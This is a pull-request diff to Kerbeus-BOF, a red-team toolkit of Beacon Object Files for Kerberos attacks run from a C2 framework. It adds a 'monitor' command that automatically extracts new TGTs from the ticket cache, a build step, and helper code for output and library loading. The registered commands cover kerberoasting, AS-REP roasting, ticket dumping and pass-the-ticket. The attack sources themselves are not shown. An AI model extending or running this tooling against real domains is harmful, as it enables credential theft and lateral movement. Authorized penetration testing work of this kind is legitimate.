Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion AD-BOF/Kerbeus-BOF/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ all: bof

bof:
@(mkdir -p _bin/Kerbeus-BOF 2>/dev/null) && echo 'creating _bin/Kerbeus-BOF' || echo '_bin/Kerbeus-BOF exists'
@($(CC64) $(CFLAGS) monitor/monitor.c -o _bin/Kerbeus-BOF/monitor.x64.o && $(STRIP64) _bin/Kerbeus-BOF/monitor.x64.o) && echo '[+] monitor' || echo '[!] monitor'
@($(CC64) $(CFLAGS) hash/hash.c -o _bin/Kerbeus-BOF/hash.x64.o && $(STRIP64) _bin/Kerbeus-BOF/hash.x64.o) && echo '[+] hash' || echo '[!] hash'
@($(CC64) $(CFLAGS) klist/klist.c -o _bin/Kerbeus-BOF/klist.x64.o && $(STRIP64) _bin/Kerbeus-BOF/klist.x64.o) && echo '[+] klist' || echo '[!] klist'
@($(CC64) $(CFLAGS) -DTRIAGE klist/klist.c -o _bin/Kerbeus-BOF/triage.x64.o && $(STRIP64) _bin/Kerbeus-BOF/triage.x64.o) && echo '[+] triage' || echo '[!] triage'
Expand All @@ -22,6 +23,5 @@ bof:
@($(CC64) $(CFLAGS) kerberoasting/kerberoasting.c -o _bin/Kerbeus-BOF/kerberoasting.x64.o && $(STRIP64) _bin/Kerbeus-BOF/kerberoasting.x64.o) && echo '[+] kerberoasting' || echo '[!] kerberoasting'
@($(CC64) $(CFLAGS) s4u/s4u.c -o _bin/Kerbeus-BOF/s4u.x64.o && $(STRIP64) _bin/Kerbeus-BOF/s4u.x64.o) && echo '[+] s4u' || echo '[!] s4u'
@($(CC64) $(CFLAGS) s4u/cross_s4u.c -o _bin/Kerbeus-BOF/cross_s4u.x64.o && $(STRIP64) _bin/Kerbeus-BOF/cross_s4u.x64.o) && echo '[+] cross_s4u' || echo '[!] cross_s4u'

clean:
@(rm -rf _bin)
207 changes: 207 additions & 0 deletions AD-BOF/Kerbeus-BOF/_include/base.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,207 @@
#include <windows.h>
#include "../../../_include/bofdefs.h"
#include "beacon.h"
#ifndef bufsize
#define bufsize 8192
#endif


char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly
WORD currentoutsize __attribute__((section (".data"))) = 0;
HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error

#ifdef BOF
int bofstart();
void internal_printf(const char* format, ...);
void printoutput(BOOL done);
#endif
char * Utf16ToUtf8(const wchar_t* input);

int bofstart()
{
output = (char*)MSVCRT$calloc(bufsize, 1);
currentoutsize = 0;
return 1;
}

void internal_printf(const char* format, ...){
int buffersize = 0;
int transfersize = 0;
char * curloc = NULL;
char* intBuffer = NULL;
va_list args;
va_start(args, format);
buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null
va_end(args);

// vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)
if (buffersize == -1)
return;

char* transferBuffer = (char*)intAlloc(bufsize);
intBuffer = (char*)intAlloc(buffersize);
/*Print string to memory buffer*/
va_start(args, format);
MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string
va_end(args);
if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end
{
//BeaconFormatPrintf(&output, intBuffer);
MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
currentoutsize += buffersize;
}
else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print
{
curloc = intBuffer;
while(buffersize > 0)
{
transfersize = bufsize - currentoutsize; // what is the max we could transfer this request
if(buffersize < transfersize) //if I have less then that, lets just transfer what's left
{
transfersize = buffersize;
}
MSVCRT$memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer
currentoutsize += transfersize;
if(currentoutsize == bufsize)
{
printoutput(FALSE); // sets currentoutsize to 0 and prints
}
MSVCRT$memset(transferBuffer, 0, transfersize); // reset our transfer buffer
curloc += transfersize; // increment by how much data we just wrote
buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall
}
}
intFree(intBuffer);
intFree(transferBuffer);
}

void printoutput(BOOL done)
{

char * msg = NULL;
BeaconOutput(CALLBACK_OUTPUT_UTF8, output, currentoutsize);
currentoutsize = 0;
MSVCRT$memset(output, 0, bufsize);
if(done) {MSVCRT$free(output); output=NULL;}
}


#ifdef DYNAMIC_LIB_COUNT


typedef struct loadedLibrary {
HMODULE hMod; // mod handle
const char * name; // name normalized to uppercase
}loadedLibrary, *ploadedLibrary;
loadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (".data"))) = {0};
DWORD loadedLibrariesCount __attribute__((section (".data"))) = 0;

BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)
{
BOOL bmatch = FALSE;
DWORD pos = 0;
while(szLibrary[pos] && sztarget[pos])
{
if(szLibrary[pos] != sztarget[pos])
{
goto end;
}
pos++;
}
if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match
{goto end;}
bmatch = TRUE;

end:
return bmatch;
}

FARPROC DynamicLoad(const char * szLibrary, const char * szFunction)
{
FARPROC fp = NULL;
HMODULE hMod = NULL;
DWORD i = 0;
DWORD liblen = 0;
for(i = 0; i < loadedLibrariesCount; i++)
{
if(intstrcmp(szLibrary, loadedLibraries[i].name))
{
hMod = loadedLibraries[i].hMod;
}
}
if(!hMod)
{
hMod = LoadLibraryA(szLibrary);
if(!hMod){
BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\nCould not find library to load.", szLibrary);
return NULL;
}
loadedLibraries[loadedLibrariesCount].hMod = hMod;
loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop
loadedLibrariesCount++;
}
fp = GetProcAddress(hMod, szFunction);

if (NULL == fp)
{
BeaconPrintf(CALLBACK_ERROR, "*** DynamicLoad(%s) FAILED!\n", szFunction);
}
return fp;
}
#endif


char* Utf16ToUtf8(const wchar_t* input)
{
int ret = KERNEL32$WideCharToMultiByte(
CP_UTF8,
0,
input,
-1,
NULL,
0,
NULL,
NULL
);

char* newString = (char*)intAlloc(sizeof(char) * ret);

ret = KERNEL32$WideCharToMultiByte(
CP_UTF8,
0,
input,
-1,
newString,
sizeof(char) * ret,
NULL,
NULL
);

if (0 == ret)
{
goto fail;
}

retloc:
return newString;
/*location to free everything centrally*/
fail:
if (newString){
intFree(newString);
newString = NULL;
};
goto retloc;
}

//release any global functions here
void bofstop()
{
#ifdef DYNAMIC_LIB_COUNT
DWORD i;
for(i = 0; i < loadedLibrariesCount; i++)
{
FreeLibrary(loadedLibraries[i].hMod);
}
#endif
return;
}
16 changes: 14 additions & 2 deletions AD-BOF/Kerbeus-BOF/kerbeus.axs
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,18 @@ var metadata = {
description: "Kerberos Exploitation BOFs"
};


let _cmd_monitor = ax.create_command("monitor", "Monitor Kerberos cache for new TGTs and extract them automatically", "kerbeus monitor /interval:30");
_cmd_monitor.addArgString("params", "Args: [/interval:SECONDS] (defaults: interval=30)", "");
_cmd_monitor.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let params = parsed_json["params"] || "";

let bof_params = ax.bof_pack("cstr", [params]);
let bof_path = ax.script_dir() + "_bin/Kerbeus-BOF/monitor." + ax.arch(id) + ".o";

ax.execute_alias(id, cmdline, `execute bof -a "${bof_path}" ${bof_params}`, "Task: Kerbeus MONITOR");
});

let _cmd_asreproasting = ax.create_command("asreproasting", "Perform AS-REP roasting", "kerbeus asreproasting /user:pre_user");
_cmd_asreproasting.addArgString("params", true, "Args: /user:USER [/dc:DC] [/domain:DOMAIN]");
_cmd_asreproasting.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
Expand Down Expand Up @@ -180,7 +192,7 @@ _cmd_triage.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
});

var cmd_kerbeus = ax.create_command("kerbeus", "Kerberos abuse (kerbeus BOF)");
cmd_kerbeus.addSubCommands([_cmd_asreproasting, _cmd_asktgt, _cmd_asktgs, _cmd_changepw, _cmd_dump, _cmd_hash, _cmd_kerberoasting, _cmd_klist, _cmd_ptt, _cmd_describe, _cmd_purge, _cmd_renew, _cmd_s4u, _cmd_cross_s4u, _cmd_tgtdeleg, _cmd_triage]);
cmd_kerbeus.addSubCommands([_cmd_asreproasting, _cmd_monitor, _cmd_asktgt, _cmd_asktgs, _cmd_changepw, _cmd_dump, _cmd_hash, _cmd_kerberoasting, _cmd_klist, _cmd_ptt, _cmd_describe, _cmd_purge, _cmd_renew, _cmd_s4u, _cmd_cross_s4u, _cmd_tgtdeleg, _cmd_triage]);

var group_kerbeus = ax.create_commands_group("Kerbeus-BOF", [cmd_kerbeus]);
ax.register_commands_group(group_kerbeus, ["beacon", "gopher", "kharon"], ["windows"], []);
ax.register_commands_group(group_kerbeus, ["beacon", "gopher", "kharon"], ["windows"], []);
Loading